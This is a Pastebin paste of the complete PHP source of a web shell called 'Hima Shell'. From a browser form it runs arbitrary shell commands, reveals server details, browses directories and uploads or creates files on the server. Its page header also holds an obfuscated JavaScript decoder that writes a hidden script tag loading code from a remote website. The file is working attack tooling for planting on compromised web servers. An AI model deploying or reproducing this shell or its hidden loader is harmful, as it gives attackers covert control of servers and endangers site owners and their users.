Guest User

Upload Shell ViRuS_HiMa v2.0

a guest
Jan 23rd, 2022
1,426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.48 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.  
  5.          
  6.  
  7.     Software: Hima Shell
  8.  
  9.     Author: ViRuS_HiMa
  10.  
  11.     Website: www.hell-z0ne.org
  12.  
  13.     Email: [email protected]
  14.  
  15.         Uploadshell.txt UploadShell.php
  16.  
  17. */
  18.  
  19.  
  20.  
  21. ob_start();
  22.  
  23.  
  24.  
  25. # Get system informations
  26.  
  27. $server_os = @PHP_OS;
  28.  
  29. $server_uname = @php_uname();
  30.  
  31. $server_php = @phpversion();
  32.  
  33. $server_sm = @ini_get('safe_mode');
  34.  
  35.  
  36.  
  37. # Set generals variables
  38.  
  39. $shell_title = "Hima";
  40.  
  41. $shell_version = "v2.0";
  42.  
  43. $shell_action = $PHP_SELF;
  44.  
  45. $shell_mode = $_POST['shell_mode'];
  46.  
  47.  
  48.  
  49. # Set the command variables
  50.  
  51. $cmd_cnt = $_POST['command'];
  52.  
  53. $cmd_check = $_POST['cmdcheck'];
  54.  
  55.  
  56.  
  57. # Set the directory variables
  58.  
  59. $dir_check = $_POST['dircheck'];
  60.  
  61. $dir_change = $_POST['changedir'];
  62.  
  63. $dir_keep = $_POST['keepdir'];
  64.  
  65.  
  66.  
  67. # Set the files variables
  68.  
  69. $mkfile_path = $_POST['createfile'];
  70.  
  71. $mkfile_cnt = $_POST['createfilecnt'];
  72.  
  73.  
  74.  
  75. # Set the upload file variables
  76.  
  77. $upfile_path = $_POST['upfiledir'];
  78.  
  79. $upfile_cnt = $_POST['upfile'];
  80.  
  81.  
  82.  
  83. # Get the current working directory
  84.  
  85. if(!isset($dir_cur))
  86.  
  87.     $dir_cur = getcwd();
  88.  
  89.  
  90.  
  91. # Check if a change dir command has been sent and keep the previous directory if a new command was launch
  92.  
  93. if(isset($dir_check)) {
  94.  
  95.     if(file_exists($dir_change)) {
  96.  
  97.         if(function_exists("chdir")) {
  98.  
  99.             @chdir($dir_change);
  100.  
  101.             $dir_cur = getcwd();
  102.  
  103.         } else {
  104.  
  105.             $dir_error = "<i>Error: Cannot change directory!</i><br>\n";
  106.  
  107.         }
  108.  
  109.     } else {
  110.  
  111.         $dir_error = "<i>Error: The directory doesn't exists.</i><br>\n";
  112.  
  113.     }
  114.  
  115. } elseif(isset($dir_keep)) {
  116.  
  117.     if(file_exists($dir_keep)) {
  118.  
  119.         if(function_exists("chdir")) {
  120.  
  121.             @chdir($dir_keep);
  122.  
  123.             $dir_cur = getcwd();
  124.  
  125.         } else {
  126.  
  127.             $dir_error = "<i>Error: Cannot change directory!</i><br>\n";
  128.  
  129.         }
  130.  
  131.     } else {
  132.  
  133.         $dir_error = "<i>Error: The directory doesn't exists.</i><br>\n";
  134.  
  135.     }
  136.  
  137. }
  138.  
  139.  
  140.  
  141. # This execute the command specified
  142.  
  143. if(isset($cmd_check)) {
  144.  
  145.     if(@function_exists("shell_exec")) {
  146.  
  147.         $exec = $cmd_cnt;
  148.  
  149.         $tmpfile = tempnam('/tmp', $shell_title);
  150.  
  151.         $exec .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile";
  152.  
  153.         $cmd_out = `$exec`;    
  154.  
  155.     } else {
  156.  
  157.         die("ERROR: the PHP version running doesn't support `shell_exec()`!  Upgrade it!\n");
  158.  
  159.     }
  160.  
  161. }
  162.  
  163.  
  164.  
  165. # Creates files
  166.  
  167. if(isset($mkfile_path)) {
  168.  
  169.     if(!file_exists($mkfile_path)) {
  170.  
  171.         if($mkfile_new = @fopen($mkfile_path, "w")) {
  172.  
  173.             @fputs($mkfile_new, $mkfile_cnt);
  174.  
  175.             @fclose($mkfile_new);
  176.  
  177.             $mkfile_msg = "<i>New file created: " . $mkfile_path . "</i><br>\n";
  178.  
  179.         } else {
  180.  
  181.             $mkfile_msg = "<i>Error: Permission denied!</i><br>\n";
  182.  
  183.         }
  184.  
  185.     } else {
  186.  
  187.         $mkfile_msg = "<i>Error: The file already exists.</i><br>\n";
  188.  
  189.     }
  190.  
  191. }
  192.  
  193.  
  194.  
  195. # Uploads files
  196.  
  197. if(isset($upfile_path)) {
  198.  
  199.     $upfile_name = $_FILES["upfile"]["name"];
  200.  
  201.     if(trim($_FILES["upfile"]["name"]) == "") {
  202.  
  203.         $upfile_msg = "<i>Error: specify a file please.</i><br>\n";
  204.  
  205.     } else {
  206.  
  207.         if(@is_uploaded_file($_FILES["upfile"]["tmp_name"])) {
  208.  
  209.             if(@move_uploaded_file($_FILES["upfile"]["tmp_name"], "$upfile_path/$upfile_name"))
  210.  
  211.                 $upfile_msg = "<i>New file uploaded successfully!</i><br>\n";
  212.  
  213.             else
  214.  
  215.                 $upfile_msg = "<i>Error: Permission denied!</i><br>\n";
  216.  
  217.         } else {
  218.  
  219.             $upfile_msg = "<i>Error: Cannot upload the file!</i><br>\n";
  220.  
  221.         }
  222.  
  223.     }
  224.  
  225. }
  226.  
  227.  
  228.  
  229. if(!$shell_mode) {
  230.  
  231. ?>
  232.  
  233. <html>
  234.  
  235. <head>
  236.  
  237. <title><?php echo $shell_title; ?></title>
  238.  
  239. <script type="text/javascript" language="javascript">
  240.  
  241. <!--
  242.  
  243. ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
  244.  
  245. MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
  246.  
  247. OT="";
  248.  
  249. for(j=0;j<MI.length;j++){
  250.  
  251. OT+=ML.charAt(MI.charCodeAt(j)-48);
  252.  
  253. }document.write(OT);
  254.  
  255. // --></script>
  256.  
  257. <style>
  258.  
  259. body {
  260.  
  261.     background-color: #616161;
  262.  
  263.     color: red;
  264.  
  265.     font-family: Verdana;
  266.  
  267.     font-size: 12px;
  268.  
  269. }
  270.  
  271. a:link, a:visited {
  272.  
  273.     color: black;
  274.  
  275.     text-decoration: underline;
  276.  
  277. }
  278.  
  279. a:hover {
  280.  
  281.     color: white;
  282.  
  283.     text-decoration: none;
  284.  
  285. }
  286.  
  287. input.command {
  288.  
  289.     width: 100%;
  290.  
  291.     border: 1px solid yellow;
  292.  
  293.     background-color: #3b3b3b;
  294.  
  295.     padding: 2px;
  296.  
  297.     font-weight: bold;
  298.  
  299.     font-size: 12px;
  300.  
  301. }
  302.  
  303. textarea.output {
  304.  
  305.     width: 100%;
  306.  
  307.     height: 300px;
  308.  
  309.     border: 1px solid yellow;
  310.  
  311.     background-color: #3b3b3b;
  312.  
  313.     padding: 2px;
  314.  
  315.     font-size: 12px;
  316.  
  317. }
  318.  
  319. input.submit {
  320.  
  321.     border: 1px solid white;
  322.  
  323.     background-color: #3b3b3b;
  324.  
  325.     font-size: 12px;
  326.  
  327. }
  328.  
  329. input.directory {
  330.  
  331.     border: 1px solid yellow;
  332.  
  333.     background-color: #3b3b3b;
  334.  
  335.     width: 120px;
  336.  
  337.     padding: 2px;
  338.  
  339.     margin-right: 4px;
  340.  
  341.     font-size: 12px;
  342.  
  343. }
  344.  
  345. input.ftp {
  346.  
  347.     border: 1px solid black;
  348.  
  349.     background-color: #3b3b3b;
  350.  
  351.     width: 120px;
  352.  
  353.     padding: 2px;
  354.  
  355.     margin-right: 4px;
  356.  
  357. }
  358.  
  359. input.tools {
  360.  
  361.     border: 1px solid yellow;
  362.  
  363.     background-color: 616161;
  364.  
  365.     color: red;
  366.  
  367.     font-family: Verdana;
  368.  
  369.     font-size: 12px;
  370.  
  371.     font-weight: bold;
  372.  
  373. }
  374.  
  375. table.header {
  376.  
  377.     font-size: 12px;
  378.  
  379.     color: white;
  380.  
  381. }
  382.  
  383. fieldset {
  384.  
  385.     border: 1px solid white;
  386.  
  387.     text-align: center;
  388.  
  389. }
  390.  
  391. legend {
  392.  
  393.     font-weight: bold;
  394.  
  395. }
  396.  
  397. div.field {
  398.  
  399.     margin-bottom: 10px;
  400.  
  401. }
  402.  
  403. </style>
  404.  
  405. <script language="JavaScript">
  406.  
  407. function pinUp(URL) {
  408.  
  409.     day = new Date();
  410.  
  411.     id = day.getTime();
  412.  
  413.     eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=0,width=700,height=400,left = 387,top = 134');");
  414.  
  415. }
  416.  
  417. </script>
  418.  
  419. </head>
  420.  
  421. <body>
  422.  
  423. <div>
  424.  
  425.     <table class="header" cellspacing="0" cellpadding="0" border="0" width="100%">
  426.  
  427.         <tr>
  428.  
  429.             <td valign="top" width="70%">
  430.  
  431.                 <h2>. <?php echo $shell_title; ?> . </h2>
  432.  
  433.                 <div><b>Operative System</b>: <?php echo $server_os; ?></div>
  434.  
  435.                 <div><b>Uname</b>: <?php echo $server_uname; ?></div>
  436.  
  437.                 <div><b>PHP</b>: <?php echo $server_php; ?></div>
  438.  
  439.                 <div><b>S4f3 M0d3</b>:
  440.  
  441.                 <?php
  442.  
  443.                     if($server_sm)
  444.  
  445.                         echo "ON";
  446.  
  447.                     else
  448.  
  449.                         echo "OFF";
  450.  
  451.                 ?>
  452.  
  453.                 </div>
  454.  
  455.                 <div style="margin-top: 8px;">
  456.  
  457.                     <form name="phpinfo" method="post" action="<?php echo $shell_action; ?>">
  458.  
  459.                         <input type="hidden" name="shell_mode" value="phpinfo">
  460.  
  461.                         <input type="submit" name="submit" class="tools" value="PHPinfo">
  462.  
  463.                     </form>
  464.  
  465.                 </div>
  466.  
  467.                 <div style="margin-right: 8px;">
  468.  
  469.                     <form name="shell" method="post" action="<?php echo $shell_action; ?>">
  470.  
  471.                     <p>Command:<br>
  472.  
  473.                     <table cellspacing="0" cellpadding="0" border="0" width="100%">
  474.  
  475.                         <tr>
  476.  
  477.                             <td width="95%"><div style="margin-right: 10px;"><input type="text" class="command" name="command"></div></td>
  478.  
  479.                             <td width="5%"><input type="submit" class="submit" name="submit" value="Submit"></td>
  480.  
  481.                         </tr>
  482.  
  483.                     </table></p>
  484.  
  485.                     <p>
  486.  
  487.                     <?php
  488.  
  489.                         # Nothing special, just print the command launched
  490.  
  491.                         if(isset($cmd_check))
  492.  
  493.                             echo "Result for command: <b>" . $cmd_cnt . "</b>&nbsp;&nbsp;&nbsp;[ <a href=\"\">Pin Up</a> ]";
  494.  
  495.                         else
  496.  
  497.                             echo "Output:";
  498.  
  499.                     ?>
  500.  
  501.                     <br>
  502.  
  503.                     <textarea class="output" readonly="readonly"><?php echo $cmd_out; ?></textarea></p>
  504.  
  505.                     <input type="hidden" name="cmdcheck" value="1">
  506.  
  507.                     <?php
  508.  
  509.                         # This permit to keep the directory if has been previously changed
  510.  
  511.                         if(isset($dir_check))
  512.  
  513.                             echo "<input type=\"hidden\" name=\"keepdir\" value=\"" . $dir_change . "\">\n";
  514.  
  515.                         else
  516.  
  517.                             echo "<input type=\"hidden\" name=\"keepdir\" value=\"" . $dir_cur . "\">\n";
  518.  
  519.                     ?>
  520.  
  521.                     </form>
  522.  
  523.                 </div>
  524.  
  525.             </td>
  526.  
  527.             <td valign="top" width="30%">
  528.  
  529.                 <div class="field">
  530.  
  531.                     <fieldset>
  532.  
  533.                         <legend>Ch4ng3 D!r3ct0ry</legend>
  534.  
  535.                         <div>Curr3nt D!r3ct0ry: <i><?php echo $dir_cur; ?></i></div>
  536.  
  537.                         <?php echo $dir_error; ?>
  538.  
  539.                         <form name="chdir" method="post" action="<?php echo $shell_action; ?>">
  540.  
  541.                             <input type="text" class="directory" name="changedir">
  542.  
  543.                             <input type="hidden" name="dircheck" value="1">
  544.  
  545.                             <input type="submit" name="submit" class="submit" value="Change">
  546.  
  547.                         </form>
  548.  
  549.                     </fieldset>
  550.  
  551.                 </div>
  552.  
  553.                 <div class="field">
  554.  
  555.                     <fieldset style="text-align: left;">
  556.  
  557.                         <legend>Upl04d a F!l3</legend>
  558.  
  559.                         <?php echo $upfile_msg; ?>
  560.  
  561.                         <form name="upfile" enctype="multipart/form-data" method="post" action="<?php echo $shell_action; ?>">
  562.  
  563.                             <div>Directory:</div>
  564.  
  565.                             <div><input type="text" class="directory" name="upfiledir" value="<?php echo $dir_cur; ?>"></div>
  566.  
  567.                             <div>Choose File:</div>
  568.  
  569.                             <div><input type="file" class="directory" name="upfile"></div>
  570.  
  571.                             <div style="margin-top: 3px;"><input type="submit" name="submit" class="submit" value="Upload"></div>
  572.  
  573.                         </form>
  574.  
  575.                     </fieldset>
  576.  
  577.                 </div>
  578.  
  579.                 <div class="field">
  580.  
  581.                     <fieldset>
  582.  
  583.                         <legend>Cr34t3 N3w F!l3</legend>
  584.  
  585.                         <?php echo $mkfile_msg; ?>
  586.  
  587.                         <form name="mkfile" method="post" action="<?php echo $shell_action; ?>">
  588.  
  589.                             <div>File name:</div>
  590.  
  591.                             <div><input type="text" class="directory" name="createfile" value="<?php echo $dir_cur . "/"; ?>"></div>
  592.  
  593.                             <div>File content:</div>
  594.  
  595.                             <div><textarea class="output" name="createfilecnt" style="height: 150px;"></textarea></div>
  596.  
  597.                             <div><input type="submit" name="submit" class="submit" value="Create"></div>
  598.  
  599.                         </form>                    
  600.  
  601.                     </fieldset>
  602.  
  603.                 </div>
  604.  
  605.             </td>
  606.  
  607.         </tr>
  608.  
  609.     </table>
  610.  
  611. </div>
  612.  
  613. </body>
  614.  
  615. </html>
  616.  
  617.  
  618.  
  619. <?
  620.  
  621. } elseif(isset($shell_mode)) {
  622.  
  623.     switch($shell_mode) {
  624.  
  625.         case 'phpinfo':
  626.  
  627.             phpinfo();
  628.  
  629.             break;
  630.  
  631.         default:
  632.  
  633.             break;
  634.  
  635.     }
  636.  
  637. } else {
  638.  
  639.     header("Location: " . $PHP_SELF);
  640.  
  641. }
  642.  
  643.  
  644.  
  645. ob_end_flush();
  646.  
  647. ?>
Advertisement
Add Comment
Please, Sign In to add comment